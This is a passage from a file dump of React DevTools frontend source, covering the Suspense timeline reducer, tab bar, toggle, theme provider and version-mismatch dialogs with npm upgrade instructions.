timeline =\n    store.getEndTimeOrDocumentOrderSuspense(uniqueSuspendersOnly);\n  const timelineIndex = timeline.length - 1;\n  const selectedSuspenseID =\n    timelineIndex === -1 ? null : timeline[timelineIndex].id;\n  const lineage =\n    selectedSuspenseID !== null\n      ? store.getSuspenseLineage(selectedSuspenseID)\n      : [];\n  const initialState: SuspenseTreeState = {\n    selectedSuspenseID,\n    lineage,\n    roots: store.roots,\n    timeline,\n    timelineIndex,\n    hoveredTimelineIndex: -1,\n    uniqueSuspendersOnly,\n    playing: false,\n    autoSelect: true,\n    autoScroll: {id: 0}, // Don't auto-scroll initially\n  };\n\n  return initialState;\n}\n\nfunction SuspenseTreeContextController({children}: Props): React.Node {\n  const store = useContext(StoreContext);\n  // This reducer is created inline because it needs access to the Store.\n  // The store is mutable, but the Store itself is global and lives for the lifetime of the DevTools,\n  // so it's okay for the reducer to have an empty dependencies array.\n  const reducer = useMemo(\n    () =>\n      (\n        state: SuspenseTreeState,\n        action: SuspenseTreeAction,\n      ): SuspenseTreeState => {\n        switch (action.type) {\n          case 'HANDLE_SUSPENSE_TREE_MUTATION': {\n            let {selectedSuspenseID} = state;\n            // If the currently-selected Element has been removed from the tree, update selection state.\n            const removedIDs = action.payload[0];\n            // Find the closest parent that wasn't removed during this batch.\n            // We deduce the parent-child mapping from removedIDs (id -> parentID)\n            // because by now it's too late to read them from the store.\n\n            while (\n              selectedSuspenseID !== null &&\n              removedIDs.has(selectedSuspenseID)\n            ) {\n              // $FlowExpectedError[incompatible-type]\n              selectedSuspenseID = removedIDs.get(selectedSuspenseID);\n            }\n            if (selectedSuspenseID === 0) {\n              // The whole root was removed.\n              selectedSuspenseID = null;\n            }\n\n            const selectedTimelineStep =\n              state.timeline === null || state.timelineIndex === -1\n                ? null\n                : state.timeline[state.timelineIndex];\n            let selectedTimelineID: null | number = null;\n            if (selectedTimelineStep !== null) {\n              selectedTimelineID = selectedTimelineStep.id;\n              // $FlowFixMe\n              while (removedIDs.has(selectedTimelineID)) {\n                // $FlowFixMe\n                selectedTimelineID = removedIDs.get(selectedTimelineID);\n              }\n            }\n\n            // TODO: Handle different timeline modes (e.g. random order)\n            const nextTimeline = store.getEndTimeOrDocumentOrderSuspense(\n              state.uniqueSuspendersOnly,\n            );\n\n            let nextTimelineIndex = -1;\n            if (selectedTimelineID !== null && nextTimeline.length !== 0) {\n              for (let i = 0; i < nextTimeline.length; i++) {\n                if (nextTimeline[i].id === selectedTimelineID) {\n                  nextTimelineIndex = i;\n                  break;\n                }\n              }\n            }\n            if (\n              nextTimeline.length > 0 &&\n              (nextTimelineIndex === -1 || state.autoSelect)\n            ) {\n              nextTimelineIndex = nextTimeline.length - 1;\n              selectedSuspenseID = nextTimeline[nextTimelineIndex].id;\n            }\n\n            if (selectedSuspenseID === null && nextTimeline.length > 0) {\n              selectedSuspenseID = nextTimeline[nextTimeline.length - 1].id;\n            }\n\n            const nextLineage =\n              selectedSuspenseID !== null &&\n              state.selectedSuspenseID !== selectedSuspenseID\n                ? store.getSuspenseLineage(selectedSuspenseID)\n                : state.lineage;\n\n            return {\n              ...state,\n              lineage: nextLineage,\n              roots: store.roots,\n              selectedSuspenseID,\n              timeline: nextTimeline,\n              timelineIndex: nextTimelineIndex,\n            };\n          }\n          case 'SELECT_SUSPENSE_BY_ID': {\n            const selectedSuspenseID = action.payload;\n\n            return {\n              ...state,\n              selectedSuspenseID,\n              playing: false, // pause\n              autoSelect: false,\n              autoScroll: {id: selectedSuspenseID}, // scroll\n            };\n          }\n          case 'SET_SUSPENSE_LINEAGE': {\n            const suspenseID = action.payload;\n            const lineage = store.getSuspenseLineage(suspenseID);\n\n            return {\n              ...state,\n              lineage,\n              selectedSuspenseID: suspenseID,\n              playing: false, // pause\n              autoSelect: false,\n            };\n          }\n          case 'SET_SUSPENSE_TIMELINE': {\n            const previousMilestoneIndex = state.timelineIndex;\n            const previousTimeline = state.timeline;\n            const nextTimeline = action.payload[0];\n            const nextRootID: SuspenseNode['id'] | null = action.payload[1];\n            const nextUniqueSuspendersOnly = action.payload[2];\n            let nextLineage = state.lineage;\n            let nextMilestoneIndex: number | -1 = -1;\n            let nextSelectedSuspenseID = state.selectedSuspenseID;\n            // Action has indicated it has no preference for the selected Node.\n            // Try to reconcile the new timeline with the previous index.\n            if (\n              nextRootID === null &&\n              previousTimeline !== null &&\n              previousMilestoneIndex !== null\n            ) {\n              const previousMilestoneID =\n                previousTimeline[previousMilestoneIndex];\n              nextMilestoneIndex = nextTimeline.indexOf(previousMilestoneID);\n              if (nextMilestoneIndex === -1 && nextTimeline.length > 0) {\n                nextMilestoneIndex = nextTimeline.length - 1;\n                nextSelectedSuspenseID = nextTimeline[nextMilestoneIndex].id;\n                nextLineage = store.getSuspenseLineage(nextSelectedSuspenseID);\n              }\n            } else if (nextRootID !== null) {\n              nextMilestoneIndex = nextTimeline.length - 1;\n              nextSelectedSuspenseID = nextTimeline[nextMilestoneIndex].id;\n              nextLineage = store.getSuspenseLineage(nextSelectedSuspenseID);\n            }\n\n            return {\n              ...state,\n              selectedSuspenseID: nextSelectedSuspenseID,\n              lineage: nextLineage,\n              timeline: nextTimeline,\n              timelineIndex: nextMilestoneIndex,\n              uniqueSuspendersOnly: nextUniqueSuspendersOnly,\n            };\n          }\n          case 'SUSPENSE_SET_TIMELINE_INDEX': {\n            const nextTimelineIndex = action.payload;\n            const nextSelectedSuspenseID = state.timeline[nextTimelineIndex].id;\n            const nextLineage = store.getSuspenseLineage(\n              nextSelectedSuspenseID,\n            );\n\n            return {\n              ...state,\n              lineage: nextLineage,\n              selectedSuspenseID: nextSelectedSuspenseID,\n              timelineIndex: nextTimelineIndex,\n              playing: false, // pause\n              autoSelect: false,\n              autoScroll: {id: nextSelectedSuspenseID}, // scroll\n            };\n          }\n          case 'SUSPENSE_SKIP_TIMELINE_INDEX': {\n            const direction = action.payload;\n            const nextTimelineIndex =\n              state.timelineIndex + (direction ? 1 : -1);\n            if (\n              nextTimelineIndex < 0 ||\n              nextTimelineIndex > state.timeline.length - 1\n            ) {\n              return state;\n            }\n            const nextSelectedSuspenseID = state.timeline[nextTimelineIndex].id;\n            const nextLineage = store.getSuspenseLineage(\n              nextSelectedSuspenseID,\n            );\n            return {\n              ...state,\n              lineage: nextLineage,\n              selectedSuspenseID: nextSelectedSuspenseID,\n              timelineIndex: nextTimelineIndex,\n              playing: false, // pause\n              autoSelect: false,\n              autoScroll: {id: nextSelectedSuspenseID}, // scroll\n            };\n          }\n          case 'SUSPENSE_PLAY_PAUSE': {\n            const mode = action.payload;\n\n            let nextTimelineIndex = state.timelineIndex;\n            let nextSelectedSuspenseID = state.selectedSuspenseID;\n            let nextLineage = state.lineage;\n\n            if (\n              !state.playing &&\n              mode !== 'pause' &&\n              nextTimelineIndex === state.timeline.length - 1\n            ) {\n              // If we're restarting at the end. Then loop around and start again from the beginning.\n              nextTimelineIndex = 0;\n              nextSelectedSuspenseID = state.timeline[nextTimelineIndex].id;\n              nextLineage = store.getSuspenseLineage(nextSelectedSuspenseID);\n            }\n\n            return {\n              ...state,\n              lineage: nextLineage,\n              selectedSuspenseID: nextSelectedSuspenseID,\n              timelineIndex: nextTimelineIndex,\n              playing: mode === 'toggle' ? !state.playing : mode === 'play',\n              autoSelect: false,\n            };\n          }\n          case 'SUSPENSE_PLAY_TICK': {\n            if (!state.playing) {\n              // We stopped but haven't yet cleaned up the callback. Noop.\n              return state;\n            }\n            // Advance time\n            const nextTimelineIndex = state.timelineIndex + 1;\n            if (nextTimelineIndex > state.timeline.length - 1) {\n              return state;\n            }\n            const nextSelectedSuspenseID = state.timeline[nextTimelineIndex].id;\n            const nextLineage = store.getSuspenseLineage(\n              nextSelectedSuspenseID,\n            );\n            // Stop once we reach the end.\n            const nextPlaying = nextTimelineIndex < state.timeline.length - 1;\n            return {\n              ...state,\n              lineage: nextLineage,\n              selectedSuspenseID: nextSelectedSuspenseID,\n              timelineIndex: nextTimelineIndex,\n              playing: nextPlaying,\n              autoScroll: {id: nextSelectedSuspenseID}, // scroll\n            };\n          }\n          case 'TOGGLE_TIMELINE_FOR_ID': {\n            const suspenseID = action.payload;\n\n            let timelineIndexForSuspenseID = -1;\n            for (let i = 0; i < state.timeline.length; i++) {\n              if (state.timeline[i].id === suspenseID) {\n                timelineIndexForSuspenseID = i;\n                break;\n              }\n            }\n            if (timelineIndexForSuspenseID === -1) {\n              // This boundary is no longer in the timeline.\n              return state;\n            }\n            const nextTimelineIndex =\n              timelineIndexForSuspenseID === 0\n                ? // For roots, there's no toggling. It's always just jump to beginning.\n                  0\n                : // For boundaries, we'll either jump to before or after its reveal depending\n                  // on if we're currently displaying it or not according to the timeline.\n                  state.timelineIndex < timelineIndexForSuspenseID\n                  ? // We're currently before this suspense boundary has been revealed so we\n                    // should jump ahead to reveal it.\n                    timelineIndexForSuspenseID\n                  : // Otherwise, if we're currently showing it, jump to right before to hide it.\n                    timelineIndexForSuspenseID - 1;\n            const nextSelectedSuspenseID = state.timeline[nextTimelineIndex].id;\n            const nextLineage = store.getSuspenseLineage(\n              nextSelectedSuspenseID,\n            );\n            return {\n              ...state,\n              lineage: nextLineage,\n              selectedSuspenseID: nextSelectedSuspenseID,\n              timelineIndex: nextTimelineIndex,\n              playing: false, // pause\n              autoSelect: false,\n              autoScroll: {id: nextSelectedSuspenseID},\n            };\n          }\n          case 'HOVER_TIMELINE_FOR_ID': {\n            const suspenseID = action.payload;\n            let timelineIndexForSuspenseID = -1;\n            for (let i = 0; i < state.timeline.length; i++) {\n              if (state.timeline[i].id === suspenseID) {\n                timelineIndexForSuspenseID = i;\n                break;\n              }\n            }\n            return {\n              ...state,\n              hoveredTimelineIndex: timelineIndexForSuspenseID,\n            };\n          }\n          default:\n            throw new Error(`Unrecognized action \"${action.type}\"`);\n        }\n      },\n    [],\n  );\n\n  const [state, dispatch] = useReducer(reducer, store, getInitialState);\n\n  const initialRevision = useMemo(() => store.revisionSuspense, [store]);\n  // We're currently storing everything Suspense related in the same Store as\n  // Components. However, most reads are currently stateless. This ensures\n  // the latest state is always read from the Store.\n  useEffect(() => {\n    const handleSuspenseTreeMutated = ([removedElementIDs]: [\n      Map<number, number>,\n    ]) => {\n      dispatch({\n        type: 'HANDLE_SUSPENSE_TREE_MUTATION',\n        payload: [removedElementIDs],\n      });\n    };\n\n    // Since this is a passive effect, the tree may have been mutated before our initial subscription.\n    if (store.revisionSuspense !== initialRevision) {\n      // At the moment, we can treat this as a mutation.\n      handleSuspenseTreeMutated([new Map()]);\n    }\n\n    store.addListener('suspenseTreeMutated', handleSuspenseTreeMutated);\n    return () =>\n      store.removeListener('suspenseTreeMutated', handleSuspenseTreeMutated);\n  }, [initialRevision, store]);\n\n  const transitionDispatch = useMemo(\n    () => (action: SuspenseTreeAction) =>\n      startTransition(() => {\n        dispatch(action);\n      }),\n    [dispatch],\n  );\n\n  return (\n    <SuspenseTreeStateContext.Provider value={state}>\n      <SuspenseTreeDispatcherContext.Provider value={transitionDispatch}>\n        {children}\n      </SuspenseTreeDispatcherContext.Provider>\n    </SuspenseTreeStateContext.Provider>\n  );\n}\n\nexport {\n  SuspenseTreeDispatcherContext,\n  SuspenseTreeStateContext,\n  SuspenseTreeContextController,\n};\n"
  },
  {
    "path": "packages/react-devtools-shared/src/devtools/views/TabBar.css",
    "content": ".Tab,\n.TabCurrent,\n.TabDisabled {\n  height: 100%;\n  display: flex;\n  align-items: center;\n  cursor: pointer;\n  border-top: 3px solid transparent;\n  border-bottom: 3px solid transparent;\n  user-select: none;\n  color: var(--color-text);\n\n  /* Hide radio buttons for Firefox too */\n  position:  relative;\n\n  /* Electron drag area */\n  -webkit-app-region: no-drag;\n}\n.Tab:hover,\n.TabCurrent:hover {\n  background-color: var(--color-background-hover);\n}\n.Tab:focus-within,\n.TabCurrent:focus-within {\n  background-color: var(--color-background-hover);\n}\n\n.TabCurrent {\n  border-bottom: 3px solid var(--color-tab-selected-border);\n}\n\n.TabDisabled {\n  color: var(--color-dim);\n  cursor: default;\n}\n\n.TabSizeNavigation {\n  font-size: var(--font-size-sans-large);\n  padding: 0.5rem 1rem;\n}\n.TabSizeProfiler {\n  font-size: var(--font-size-sans-normal);\n  padding: 0.25rem 0.5rem;\n}\n.TabSizeSettings {\n  font-size: var(--font-size-sans-normal);\n  padding: 0.25rem 0.5rem;\n}\n\n.Input {\n  width: 0;\n  margin: 0;\n  opacity: 0;\n\n  /* Hide radio buttons for Firefox too */\n  position:  absolute;\n}\n\n.IconSizeNavigation,\n.IconSizeProfiler,\n.IconSizeSettings {\n  margin-right: 0.5rem;\n  color: var(--color-button-active);\n}\n\n.IconDisabled {\n  color: var(--color-dim);\n}\n\n.IconSizeNavigation {\n  width: 1.5rem;\n  height: 1.5rem;\n}\n.IconSizeProfiler {\n  width: 1rem;\n  height: 1rem;\n}\n.IconSizeSettings {\n  width: 1rem;\n  height: 1rem;\n}\n\n.TabLabelNavigation,\n.TabLabelProfiler,\n.TabLabelSettings {\n}\n\n.VRule {\n  height: 20px;\n  width: 1px;\n  border-left: 1px solid var(--color-border);\n  padding-left: 0.25rem;\n  margin-left: 0.25rem;\n}\n\n@media screen and (max-width: 525px) {\n  .IconSizeNavigation {\n    margin-right: 0;\n  }\n\n  .TabLabelNavigation {\n    display: none;\n  }\n}\n\n@media screen and (max-width: 900px) {\n  .TabLabelProfiler {\n    display: none;\n  }\n\n  .IconSizeProfiler {\n    margin-right: 0;\n  }\n}\n\n@media screen and (max-width: 400px) {\n  .TabLabelSettings {\n    display: none;\n  }\n\n  .IconSizeSettings {\n    margin-right: 0;\n  }\n}\n"
  },
  {
    "path": "packages/react-devtools-shared/src/devtools/views/TabBar.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nimport * as React from 'react';\nimport {Fragment, useCallback} from 'react';\nimport Icon from './Icon';\n\nimport styles from './TabBar.css';\nimport Tooltip from './Components/reach-ui/tooltip';\n\nimport type {IconType} from './Icon';\n\ntype TabInfo = {\n  icon: IconType,\n  id: string,\n  label: string,\n  title?: string,\n};\n\nexport type Props = {\n  currentTab: any,\n  disabled?: boolean,\n  id: string,\n  selectTab: (tabID: any) => void,\n  tabs: Array<TabInfo | null>,\n  type: 'navigation' | 'profiler' | 'settings',\n};\n\nexport default function TabBar({\n  currentTab,\n  disabled = false,\n  id: groupName,\n  selectTab,\n  tabs,\n  type,\n}: Props): React.Node {\n  if (!tabs.some(tab => tab !== null && tab.id === currentTab)) {\n    const firstTab = ((tabs.find(tab => tab !== null): any): TabInfo);\n    selectTab(firstTab.id);\n  }\n\n  const onChange = useCallback(\n    ({currentTarget}: $FlowFixMe) => selectTab(currentTarget.value),\n    [selectTab],\n  );\n\n  const handleKeyDown = useCallback((event: $FlowFixMe) => {\n    switch (event.key) {\n      case 'ArrowDown':\n      case 'ArrowLeft':\n      case 'ArrowRight':\n      case 'ArrowUp':\n        event.stopPropagation();\n        break;\n      default:\n        break;\n    }\n  }, []);\n\n  let iconSizeClassName;\n  let tabLabelClassName;\n  let tabSizeClassName;\n  switch (type) {\n    case 'navigation':\n      iconSizeClassName = styles.IconSizeNavigation;\n      tabLabelClassName = styles.TabLabelNavigation;\n      tabSizeClassName = styles.TabSizeNavigation;\n      break;\n    case 'profiler':\n      iconSizeClassName = styles.IconSizeProfiler;\n      tabLabelClassName = styles.TabLabelProfiler;\n      tabSizeClassName = styles.TabSizeProfiler;\n      break;\n    case 'settings':\n      iconSizeClassName = styles.IconSizeSettings;\n      tabLabelClassName = styles.TabLabelSettings;\n      tabSizeClassName = styles.TabSizeSettings;\n      break;\n    default:\n      throw Error(`Unsupported type \"${type}\"`);\n  }\n\n  return (\n    <Fragment>\n      {tabs.map(tab => {\n        if (tab === null) {\n          return <div key=\"VRule\" className={styles.VRule} />;\n        }\n\n        const {icon, id, label, title} = tab;\n\n        let button = (\n          <label\n            className={[\n              tabSizeClassName,\n              disabled ? styles.TabDisabled : styles.Tab,\n              !disabled && currentTab === id ? styles.TabCurrent : '',\n            ].join(' ')}\n            data-testname={`TabBarButton-${id}`}\n            key={id}\n            onKeyDown={handleKeyDown}\n            onMouseDown={() => selectTab(id)}>\n            <input\n              type=\"radio\"\n              className={styles.Input}\n              checked={currentTab === id}\n              disabled={disabled}\n              name={groupName}\n              value={id}\n              onChange={onChange}\n            />\n            <Icon\n              className={`${\n                disabled ? styles.IconDisabled : ''\n              } ${iconSizeClassName}`}\n              type={icon}\n            />\n            <span className={tabLabelClassName}>{label}</span>\n          </label>\n        );\n\n        if (title) {\n          button = (\n            <Tooltip key={id} label={title}>\n              {button}\n            </Tooltip>\n          );\n        }\n\n        return button;\n      })}\n    </Fragment>\n  );\n}\n"
  },
  {
    "path": "packages/react-devtools-shared/src/devtools/views/ThemeProvider.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nimport * as React from 'react';\nimport useThemeStyles from './useThemeStyles';\n\nexport default function ThemeProvider({\n  children,\n}: {\n  children: React.Node,\n}): React.Node {\n  const themeStyle = useThemeStyles();\n\n  const style = React.useMemo(() => {\n    return {\n      ...themeStyle,\n      width: '100%',\n      height: '100%',\n    };\n  }, [themeStyle]);\n\n  return <div style={style}>{children}</div>;\n}\n"
  },
  {
    "path": "packages/react-devtools-shared/src/devtools/views/Toggle.css",
    "content": ".ToggleDisabled,\n.ToggleOn,\n.ToggleOff {\n  background: var(--color-button-background);\n  border: none;\n  border-radius: 0.25rem;\n  padding: 0;\n  flex: 0 0 auto;\n}\n\n.ToggleContent {\n  display: inline-flex;\n  align-items: center;\n  border-radius: 0.25rem;\n  padding: 0.25rem;\n}\n\n.ToggleOff {\n  border: none;\n  background: var(--color-button-background);\n  color: var(--color-button);\n}\n\n.ToggleOff:hover {\n  color: var(--color-button-hover);\n}\n\n.ToggleOn:hover,\n.ToggleOff:hover {\n background-color: var(--color-button-background-hover);\n}\n\n\n.ToggleOn,\n.ToggleOn:active {\n  color: var(--color-button-active);\n  outline: none;\n}\n\n.ToggleOn:focus,\n.ToggleOff:focus,\n.ToggleContent:focus {\n  outline: none;\n}\n\n.ToggleOn:focus > .ToggleContent,\n.ToggleOff:focus > .ToggleContent {\n  background: var(--color-button-background-focus);\n}\n\n.ToggleDisabled {\n  background: var(--color-button-background);\n  color: var(--color-button-disabled);\n  cursor: default;\n}\n"
  },
  {
    "path": "packages/react-devtools-shared/src/devtools/views/Toggle.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nimport * as React from 'react';\nimport {useCallback} from 'react';\n\nimport styles from './Toggle.css';\nimport Tooltip from './Components/reach-ui/tooltip';\n\ntype Props = {\n  children: React$Node,\n  className?: string,\n  isChecked: boolean,\n  isDisabled?: boolean,\n  onChange: (isChecked: boolean) => void,\n  testName?: ?string,\n  title?: string,\n  ...\n};\n\nexport default function Toggle({\n  children,\n  className = '',\n  isDisabled = false,\n  isChecked,\n  onChange,\n  testName,\n  title,\n}: Props): React.Node {\n  let defaultClassName;\n  if (isDisabled) {\n    defaultClassName = styles.ToggleDisabled;\n  } else if (isChecked) {\n    defaultClassName = styles.ToggleOn;\n  } else {\n    defaultClassName = styles.ToggleOff;\n  }\n\n  const handleClick = useCallback(\n    () => onChange(!isChecked),\n    [isChecked, onChange],\n  );\n\n  let toggle = (\n    <button\n      className={`${defaultClassName} ${className}`}\n      data-testname={testName}\n      disabled={isDisabled}\n      onClick={handleClick}>\n      <span className={styles.ToggleContent} tabIndex={-1}>\n        {children}\n      </span>\n    </button>\n  );\n\n  if (title) {\n    toggle = <Tooltip label={title}>{toggle}</Tooltip>;\n  }\n\n  return toggle;\n}\n"
  },
  {
    "path": "packages/react-devtools-shared/src/devtools/views/UnsupportedBridgeProtocolDialog.css",
    "content": ".Column { \n  display: flex;  \n  flex-direction: column; \n} \n\n.Title {  \n  font-size: var(--font-size-sans-large); \n  margin-bottom: 0.5rem;  \n} \n\n.Version {\n  color: var(--color-bridge-version-number);\n  font-weight: bold;\n}\n\n.NpmCommand {\n  display: flex;\n  justify-content: space-between;\n  padding: 0.25rem 0.25rem 0.25rem 0.5rem;\n  background-color: var(--color-bridge-version-npm-background);\n  color: var(--color-bridge-version-npm-text);\n  margin: 0;\n  font-family: var(--font-family-monospace);\n  font-size: var(--font-size-monospace-large);\n}\n\n.Paragraph {\n  margin: 0.5rem 0;\n}\n\n.Link {\n  color: var(--color-link);\n}"
  },
  {
    "path": "packages/react-devtools-shared/src/devtools/views/UnsupportedBridgeProtocolDialog.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nimport * as React from 'react';\nimport {Fragment, useContext, useEffect} from 'react';\nimport {ModalDialogContext} from './ModalDialog';\nimport {StoreContext} from './context';\nimport {currentBridgeProtocol} from 'react-devtools-shared/src/bridge';\nimport Button from './Button';\nimport ButtonIcon from './ButtonIcon';\nimport {copy} from 'clipboard-js';\nimport styles from './UnsupportedBridgeProtocolDialog.css';\nimport {withPermissionsCheck} from 'react-devtools-shared/src/frontend/utils/withPermissionsCheck';\n\nimport type {BridgeProtocol} from 'react-devtools-shared/src/bridge';\n\nconst DEVTOOLS_VERSION = process.env.DEVTOOLS_VERSION;\nconst INSTRUCTIONS_FB_URL =\n  'https://fb.me/devtools-unsupported-bridge-protocol';\nconst MODAL_DIALOG_ID = 'UnsupportedBridgeProtocolDialog';\n\nexport default function UnsupportedBridgeProtocolDialog(_: {}): null {\n  const {dialogs, dispatch} = useContext(ModalDialogContext);\n  const store = useContext(StoreContext);\n\n  const isVisible = !!dialogs.find(dialog => dialog.id === MODAL_DIALOG_ID);\n\n  useEffect(() => {\n    const updateDialog = () => {\n      if (!isVisible) {\n        if (store.unsupportedBridgeProtocolDetected) {\n          dispatch({\n            canBeDismissed: false,\n            id: MODAL_DIALOG_ID,\n            type: 'SHOW',\n            content: (\n              <DialogContent unsupportedBridgeProtocol={store.bridgeProtocol} />\n            ),\n          });\n        }\n      } else {\n        if (!store.unsupportedBridgeProtocolDetected) {\n          dispatch({\n            type: 'HIDE',\n            id: MODAL_DIALOG_ID,\n          });\n        }\n      }\n    };\n\n    updateDialog();\n\n    store.addListener('unsupportedBridgeProtocolDetected', updateDialog);\n    return () => {\n      store.removeListener('unsupportedBridgeProtocolDetected', updateDialog);\n    };\n  }, [isVisible, store]);\n\n  return null;\n}\n\nfunction DialogContent({\n  unsupportedBridgeProtocol,\n}: {\n  unsupportedBridgeProtocol: BridgeProtocol,\n}) {\n  const {version, minNpmVersion, maxNpmVersion} = unsupportedBridgeProtocol;\n\n  let instructions;\n  if (maxNpmVersion === null) {\n    const upgradeInstructions = `npm i -g react-devtools@^${minNpmVersion}`;\n    instructions = (\n      <>\n        <p className={styles.Paragraph}>\n          To fix this, upgrade the DevTools NPM package:\n        </p>\n        <pre className={styles.NpmCommand}>\n          {upgradeInstructions}\n          <Button\n            onClick={withPermissionsCheck(\n              {permissions: ['clipboardWrite']},\n              () => copy(upgradeInstructions),\n            )}\n            title=\"Copy upgrade command to clipboard\">\n            <ButtonIcon type=\"copy\" />\n          </Button>\n        </pre>\n      </>\n    );\n  } else {\n    const downgradeInstructions = `npm i -g react-devtools@${maxNpmVersion}`;\n    instructions = (\n      <>\n        <p className={styles.Paragraph}>\n          To fix this, downgrade the DevTools NPM package:\n        </p>\n        <pre className={styles.NpmCommand}>\n          {downgradeInstructions}\n          <Button\n            onClick={withPermissionsCheck(\n              {permissions: ['clipboardWrite']},\n              () => copy(downgradeInstructions),\n            )}\n            title=\"Copy downgrade command to clipboard\">\n            <ButtonIcon type=\"copy\" />\n          </Button>\n        </pre>\n      </>\n    );\n  }\n\n  return (\n    <Fragment>\n      <div className={styles.Column}>\n        <div className={styles.Title}>Unsupported DevTools backend version</div>\n        <p className={styles.Paragraph}>\n          You are running <code>react-devtools</code> version{' '}\n          <span className={styles.Version}>{DEVTOOLS_VERSION}</span>.\n        </p>\n        <p className={styles.Paragraph}>\n          This requires bridge protocol{' '}\n          <span className={styles.Version}>\n            version {currentBridgeProtocol.version}\n          </span>\n          . However the current backend version uses bridge protocol{' '}\n          <span className={styles.Version}>version {version}</span>.\n        </p>\n        {instructions}\n        <p className={styles.Paragraph}>\n          Or{' '}\n          <a className={styles.Link} href={INSTRUCTIONS_FB_URL} target=\"_blank\">\n            click here\n          </a>{' '}\n          for more information.\n        </p>\n      </div>\n    </Fragment>\n  );\n}\n"
  },
  {
    "path": "packages/react-devtools-shared/src/devtools/views/UnsupportedVersionDialog.css",
    "content": ".Row {  \n  display: flex;  \n  flex-direction: row;  \n  align-items: center;  \n} \n\n.Title {  \n  font-size: var(--font-size-sans-large); \n  margin-bottom: 0.5rem;  \n} \n\n.ReleaseNotesLink { \n  color: var(--color-button-active);  \n}"
  },
  {
    "path": "packages/react-devtools-shared/src/devtools/views/UnsupportedVersionDialog.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nimport * as React from 'react';\nimport {Fragment, useContext, useEffect, useState} from 'react';\nimport {ModalDialogContext} from './ModalDialog';\nimport {StoreContext} from './context';\nimport {UNSUPPORTED_VERSION_URL} from '../constants';\n\nimport styles from './UnsupportedVersionDialog.css';\n\ntype DAILOG_STATE = 'dialog-not-shown' | 'show-dialog' | 'dialog-shown';\n\nexport default function UnsupportedVersionDialog(_: {}): null {\n  const {dispatch} = useContext(ModalDialogContext);\n  const store = useContext(StoreContext);\n  const [state, setState] = useState<DAILOG_STATE>('dialog-not-shown');\n\n  useEffect(() => {\n    if (state === 'dialog-not-shown') {\n      const showDialog = () => {\n        setState('show-dialog');\n        dispatch({\n          canBeDismissed: true,\n          id: 'UnsupportedVersionDialog',\n          type: 'SHOW',\n          content: <DialogContent />,\n        });\n      };\n\n      if (store.unsupportedRendererVersionDetected) {\n        showDialog();\n      } else {\n        store.addListener('unsupportedRendererVersionDetected', showDialog);\n        return () => {\n          store.removeListener(\n            'unsupportedRendererVersionDetected',\n            showDialog,\n          );\n        };\n      }\n    }\n  }, [state, store]);\n\n  return null;\n}\n\nfunction DialogContent(_: {}) {\n  return (\n    <Fragment>\n      <div className={styles.Row}>\n        <div>\n          <div className={styles.Title}>Unsupported React version detected</div>\n          <p>\n            This version of React DevTools supports React DOM v15+ and React\n            Native v61+.\n          </p>\n          <p>\n            In order to use DevTools with an older version of React, you'll need\n            to{' '}\n            <a\n              className={styles.ReleaseNotesLink}\n              target=\"_blank\"\n              rel=\"noopener noreferrer\"\n              href={UNSUPPORTED_VERSION_URL}>\n              install an older version of the extension\n            </a>\n            .\n          </p>\n        </div>\n      </div>\n    </Fragment>\n  );\n}\n"
  },
  {
    "path": "packages/react-devtools-shared/src/devtools/views/WarnIfLegacyBackendDetected.css",
    "content": ".Command {\n  background-color: var(--color-dimmest);\n  padding: 0.25rem 0.5rem;\n  display: block;\n  border-radius: 0.125rem;\n}\n"
  },
  {
    "path": "packages/react-devtools-shared/src/devtools/views/WarnIfLegacyBackendDetected.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nimport * as React from 'react';\nimport {Fragment, useContext, useEffect} from 'react';\nimport {BridgeContext} from './context';\nimport {ModalDialogContext} from './ModalDialog';\n\nimport styles from './WarnIfLegacyBackendDetected.css';\n\nexport default function WarnIfLegacyBackendDetected(_: {}): null {\n  const bridge = useContext(BridgeContext);\n  const {dispatch} = useContext(ModalDialogContext);\n\n  // Detect pairing with legacy v3 backend.\n  // We do this by listening to a message that it broadcasts but the v4 backend doesn't.\n  // In this case the frontend should show upgrade instructions.\n  useEffect(() => {\n    // Wall.listen returns a cleanup function\n    let unlisten: $FlowFixMe = bridge.wall.listen(message => {\n      switch (message.type) {\n        case 'call':\n        case 'event':\n        case 'many-events':\n          // Any of these types indicate the v3 backend.\n          dispatch({\n            canBeDismissed: false,\n            id: 'WarnIfLegacyBackendDetected',\n            type: 'SHOW',\n            title: 'DevTools v4 is incompatible with this version of React',\n            content: <InvalidBackendDetected />,\n          });\n\n          // Once we've identified the backend version, it's safe to unsubscribe.\n          if (typeof unlisten === 'function') {\n            unlisten();\n            unlisten = null;\n          }\n          break;\n        default:\n          break;\n      }\n\n      switch (message.event) {\n        case 'isBackendStorageAPISupported':\n        case 'isNativeStyleEditorSupported':\n        case 'operations':\n        case 'overrideComponentFilters':\n          // Any of these is sufficient to indicate a v4 backend.\n          // Once we've identified the backend version, it's safe to unsubscribe.\n          if (typeof unlisten === 'function') {\n            unlisten();\n            unlisten = null;\n          }\n          break;\n        default:\n          break;\n      }\n    });\n\n    return () => {\n      if (typeof unlisten === 'function') {\n        unlisten();\n        unlisten = null;\n      }\n    };\n  }, [bridge, dispatch]);\n\n  return null;\n}\n\nfunction InvalidBackendDetected(_: {}) {\n  return (\n    <Fragment>\n      <p>Either upgrade React or install React DevTools v3:</p>\n      <code className={styles.Command}>npm install -d react-devtools@^3</code>\n    </Fragment>\n  );\n}\n"
  },
  {
    "path": "packages/react-devtools-shared/src/devtools/views/context.js",
